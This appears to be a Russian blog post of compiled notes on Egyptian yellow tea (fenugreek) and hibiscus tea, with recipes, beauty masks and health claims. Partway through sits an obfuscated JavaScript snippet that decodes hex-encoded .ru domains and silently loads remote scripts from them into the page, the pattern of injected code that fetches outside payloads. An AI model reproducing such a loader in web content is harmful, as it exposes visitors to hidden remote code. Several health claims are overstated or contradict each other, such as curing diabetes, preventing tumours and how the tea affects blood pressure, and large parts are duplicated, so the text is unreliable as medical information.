Боль в горле легко вылечить, если его полоскать жёлтым чаем.
Для этого 2 чайные ложки семян нужно
залить двумя
стаканами воды и поварить 30 минут.
Через 20 минут настой процеживается. Полоскать нужно 4 раза в день.
Египетский жёлтый чай помогает вернуть мужскую силу.
Для этого потребуется каждое утро употреблять состав,
сделанный из 2 чайных ложек измельчённых семян
пажитника, настоянными на молоке (1 ст.).
При сахарном диабете помогает
напиток,
приготовленный из 2 чайных ложек семян желтого чая
, залитых стаканом воды на ночь. Настой надо пить
утром натощак.
Наружное применение семян Жёлтого Чая?
При наружном применении лечит кожные воспалительные процессы, фурункулы.
Помогает избавляться от целлюлита.
Мазь для этих целей делается из истолченных до состояния порошка семян.
Применение в косметических целях Жёлтого
чая?
чая?
Из семян хельбы получаются прекрасные маски для волос.
Достаточно просто размолоть семена и чуть смешать с водой, чтобы получилась
кашица. Нанесите ее на кожу головы. Такая маска ускоряет рост волос.
Еще лучше такую кашицу сделать на оливковом масле. Можно добавить чуть-чуть
черного молотого перца.
Накладываем на кожу головы, втирая в
корни волос, затем прикроем целлофаном или купальной шапочкой и для тепла
обмотаем голову полотенцем. Через полчаса смоем. Такая процедура ускоряет рост
волос, помогает избавиться
от перхоти и даже лечит кожные дерматиты.
Отвар из хельбы, этого желтого чая из
Египта, оздоровит,
укрепит, оживит ломкие безжизненные
волосы. Для этого на стакан воды берем четыре столовые ложки хельбы
(пажитника).
Очищающая маска для любой кожи получится из одной
чайной ложки размельченных семян хельбы, смешанной со столовой ложкой
оливкового масла. Наносится на десять минут. Рекомендуется при угреватой
воспаленной коже.
Чтобы получить питательную маску, смешайте чайную ложку
размельченных семян с одним желтком, добавьте по одной
чайной ложке тминного и оливкового масла.
Маска накладывается на 10-15 минут.
Для увлажнения кожи сделайте 20-минутную маску из
смеси семян хельбы, меда, морковного
сока и сока алоэ,
взятых в равных частях.
Недостатки Жёлтого чая?
Из
минусов отмечается то, что после употребления чая из
Египта
(хельбы) пот приобретает полынный запах.
Но посещение ванной или душа эту проблему,
конечно же, решает.
Приготовление Жёлтого чая?
Перед приготовлением желтого египетского чая советуют
сначала тщательно его промыть. Можно
это сделать и
заранее, но тогда нужно семена хорошо просушить, разложив
на полотенце или на бумагу на пару дней.
На стакан воды берем около двух чайных ложечек семян и
варим пять-семь минут.
Некоторые добавляют в полученный отвар молоко, мед,
имбирь, лимон. Не существует каких-то обязательных правил.
Вкус Жёлтого Чая?
Непривычный
для нас вкус египетской хельбы разные люди описывают по-разному. Для кого-то
это неприятные
ощущения,
а для кого-то даже феерия вкусов.
Трудно подобрать сравнение, на что похож по
вкусу этот
напиток. На смесь разных вкусностей. В общем,
на хельбу.
Противопоказания Жёлтого чая?
Египетский жёлтый чай не
рекомендован при
беременности и вагинальных кровотечениях.
Следуйте правилам приготовления напитка и
будьте здоровы!
Вместо заключения Жёлтого чая?
Желтый
чай из чайного листа или желтый чай, который и
не совсем чай – они оба оказывают
положительное действие
на организм и имеют неординарный вкус. Вот
только вкус
этот разный… А
потому, покупая «желтый чай» в закрытой упаковке, имеет смысл уточнить, тот ли
это чай.
Информация
Взята с сайтов?
1.
Чайный Мир-Всё о чае! -http://about-tea.ru/sort/ye...
2.
7 Мудрецов.- http://7mudrecov.ru/chaj/zheltyj/priotovlenije-i-lechenije.html
3.
Сайт Про Чай!- http://pro-chay.ru/egipetskiy-zheltyiy-chay- helba/
Информацию Собирал.
Ганина Мария Владимировна.
Конец конспекта. Про Жёлтый Чай!
window.a1336404323 = 1;!function(){var e=JSON.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Метки: 5.Жёлтый Чай!
Мария Пронина.,
15-12-2015 15:10
(ссылка)
4.Чай Каркаде!
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
